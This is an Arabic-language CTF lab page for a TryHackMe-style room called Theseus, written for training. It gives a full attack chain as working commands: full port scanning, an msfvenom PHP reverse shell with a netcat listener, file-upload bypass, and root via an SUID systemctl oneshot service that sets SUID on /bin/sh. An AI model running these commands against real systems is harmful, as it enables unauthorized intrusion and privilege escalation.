Lab: Theseus | STY IT Labs
STY IT Labs · TryHackMe · Very Hard

Lab: Theseus
Web Shell Upload + SUID systemctl PrivEsc

لاب لينكس كامل بإيحاء من أسطورة ثيسيوس والمتاهة — لاب واسع المسح، بوابة ويب بترفعلك شِل بعد مسح شامل للبورتات، وتصعيد صلاحيات عبر systemctl بصلاحية SUID نادرة.

Very HardWeb Upload RCESUID systemctlFull CTF
THS
Very Hard
3-5h
7 مهام
340 XP
TryHackMe
Linux (Ubuntu)

عن اللاب

لاب Theseus بيبدأ بمسح كامل لكل الـ 65535 بورت — الخدمة المهمة مخبّاة في بورت غير قياسي. بعد الوصول لصفحة الويب، بترفع ملف PHP Reverse Shell زي أي ثغرة Unrestricted File Upload كلاسيكية، فبتوصل لصلاحيات www-data. المفاجأة الحقيقية في التصعيد: systemctl نفسه معاه SUID Bit — تقدر تبني سيرفيس مؤقت (oneshot) يحط SUID على /bin/sh، فتشغّله بصلاحيات Root كاملة.

امسح كل البورتات (-p-) من الأول — الخدمة الحقيقية هنا مش على بورت قياسي زي 80 بس.

Theseus Badge

أكمل اللاب واحصل على الـ Badge — أضفه لملفك على LinkedIn

مسار الهجوم

1

Nmap -p- — اكتشاف بورت غير قياسي

مسح شامل لكل البورتات يكشف SSH على 22 وHTTP على 80، بالإضافة لخدمة إضافية على بورت مرتفع غير متوقع.

nmap -p-
2

رفع PHP Reverse Shell

صفحة الرفع بترفض فحص نوع الملف الحقيقي — إعادة تسمية shell.php بامتداد مقبول أو تعديل الـ Content-Type بتخليه يمر.

Unrestricted Upload
3

www-data Shell

تشغيل الملف المرفوع من خلال الرابط المباشر بيديك Reverse Shell بصلاحيات www-data.

www-data
4

تعداد SUID Binaries

find / -perm -u=s بيكشف إن systemctl نفسه عنده SUID Bit — حاجة غير معتادة خالص.

SUID systemctl
5

Systemd Oneshot Service Exploit

إنشاء ملف .service مؤقت بيشغّل chmod +s /bin/sh عند التفعيل، تحميله بـ systemctl ثم تفعيله.

systemctl link
6

/bin/sh -p 🏆

تشغيل /bin/sh -p بعد حصوله على SUID بيديك shell بصلاحيات Root كاملة فوراً.

Root Shell

مراحل اللاب

Full Port Scan
Web Upload
www-data
SUID Enum
systemctl Exploit
Root 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
nmap -p- -sV <IP>مسح شامل لكل البورتات — الخدمة هنا مش على بورت قياسيRecon
msfvenom -p php/reverse_php LHOST=<IP> LPORT=4444 -f raw > shell.phpبناء الـ payloadBuild
nc -lvnp 4444Listener قبل الرفع والتشغيلListen
python3 -c “import pty;pty.spawn(‘/bin/bash’)”تثبيت الشِلStabilize
find / -perm -u=s -type f 2>/dev/nullتعداد SUID binaries — systemctl يظهر هناPrivEsc
TF=$(mktemp).service; echo ‘[Service]\nType=oneshot\nExecStart=/bin/chmod +s /bin/sh\n[Install]\nWantedBy=multi-user.target’ > $TFبناء سيرفيس مؤقتExploit
systemctl link $TF; systemctl enable –now $TF; /bin/sh -pتفعيل السيرفيس والحصول على RootRoot

المهام والأسئلة

Task 1 — Deploy & Full Scan

Deploy VM · nmap -p- · إيجاد البورت الإضافي

+30 XP

Task 2 — Web Upload Foothold

رفع shell.php · www-data access

+90 XP

Task 3 — SUID Enumeration

find -perm -u=s · اكتشاف systemctl SUID

+70 XP
04

Task 4 — Root via systemctl 🏆

بناء سيرفيس مؤقت · root shell · root.txt

+150 XP
▶ أدخل الـ Flag

Terminal — Theseus Full Attack

root@kali — Theseus
# Full port scan
nmap -p- -sV 10.10.X.X
9009/tcp open unknown ← البورت المخفي

# رفع الـ shell من خلال الفورم على 9009
msfvenom -p php/reverse_php LHOST=10.X.X.X LPORT=4444 -f raw > shell.php
nc -lvnp 4444
[+] www-data@theseus:/var/www/html$

# SUID enum
find / -perm -u=s -type f 2>/dev/null | grep systemctl
-rwsr-xr-x 1 root root /bin/systemctl

# systemctl SUID exploit
TF=$(mktemp).service
echo -e ‘[Service]\nType=oneshot\nExecStart=/bin/chmod +s /bin/sh\n[Install]\nWantedBy=multi-user.target’ > $TF
./systemctl link $TF
./systemctl enable –now $TF
/bin/sh -p
# whoami → root
└─#

المهارات المكتسبة

Full-Range Port Scanning
File Upload Bypass
SUID Binary Abuse
systemd Service Exploitation
Shell Stabilization
Root PrivEsc

الأدوات المستخدمة

nmapمسح شامل لكل الـ 65535 بورت
msfvenomبناء الـ PHP reverse shell payload
systemctlاستغلاله بصلاحية SUID لتصعيد الصلاحيات
الدرس المهم هنا: SUID مش بس على binaries زي find أو vim — أي أداة نظام أساسية زي systemctl لو معاها SUID غلط، بتكسر الصلاحيات بالكامل.